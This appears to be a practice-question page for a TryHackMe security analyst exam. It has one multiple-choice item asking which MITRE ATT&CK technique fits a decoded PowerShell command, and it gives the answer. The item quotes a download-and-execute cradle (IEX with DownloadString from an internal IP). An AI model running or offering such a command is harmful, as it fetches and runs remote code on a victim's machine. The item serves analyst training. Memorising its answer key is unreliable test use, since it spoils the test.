SAL2 Practice Questions - TryHackMe Security Analyst Level 2 (SAL2) Exam

Access More Questions

An analyst is investigating a Splunk alert for an Elastic agent that flagged PowerShell executing an encoded command. The decoded base64 reveals: 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.5.12/a.ps1")'. What MITRE ATT&CK technique does this represent?

T1059.001 — PowerShell with T1105 Ingress Tool Transfer T1003.001 — OS Credential Dumping (LSASS Memory) T1071.004 — Application Layer Protocol (DNS) T1547.001 — Boot or Logon Autostart Execution (Registry Run Keys)

Correct Answer:

T1059.001 — PowerShell with T1105 Ingress Tool Transfer

Access more questions from this quiz

Continue to SAL2 Practice Questions - TryHackMe Security Analyst Level 2 (SAL2) Exam for more practice questions and the full quiz experience.

Access More Questions